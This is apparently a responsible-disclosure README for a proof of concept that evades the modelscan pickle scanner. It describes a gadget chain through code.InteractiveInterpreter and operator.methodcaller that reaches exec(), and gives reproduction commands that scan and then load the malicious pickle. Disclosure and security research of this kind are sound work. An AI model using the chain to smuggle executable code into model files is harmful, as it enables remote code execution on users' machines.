---
license: mit
tags:
  - security-research
  - modelscan-bypass
  - pickle-safety
---

# modelscan-bypass-code-interpreter

## Modelscan Bypass PoC — code.InteractiveInterpreter

**Severity**: CRITICAL
**Impact**: Full RCE via exec() — code.InteractiveInterpreter.runsource() calls exec() on arbitrary Python code
**modelscan version**: 0.7.6 (latest on PyPI)
**Result**: "No issues found!" ✅ (false negative)

### Chain
`code.InteractiveInterpreter()` → `operator.methodcaller("runsource", malicious_code)` → `exec(malicious_code)`

### Why It Works
`code.InteractiveInterpreter` is NOT in modelscan's `unsafe_globals` blocklist.
Neither `code` module nor `operator.methodcaller` are blocked.

### Reproduction
```bash
pip install modelscan
modelscan scan -p bypass_poc.pkl
# Output: "No issues found!"
python3 -c "import pickle; pickle.loads(open('bypass_poc.pkl','rb').read())"
# Executes arbitrary code
```

### Responsible Disclosure
This PoC is part of a responsible disclosure to ProtectAI via Huntr MFV program.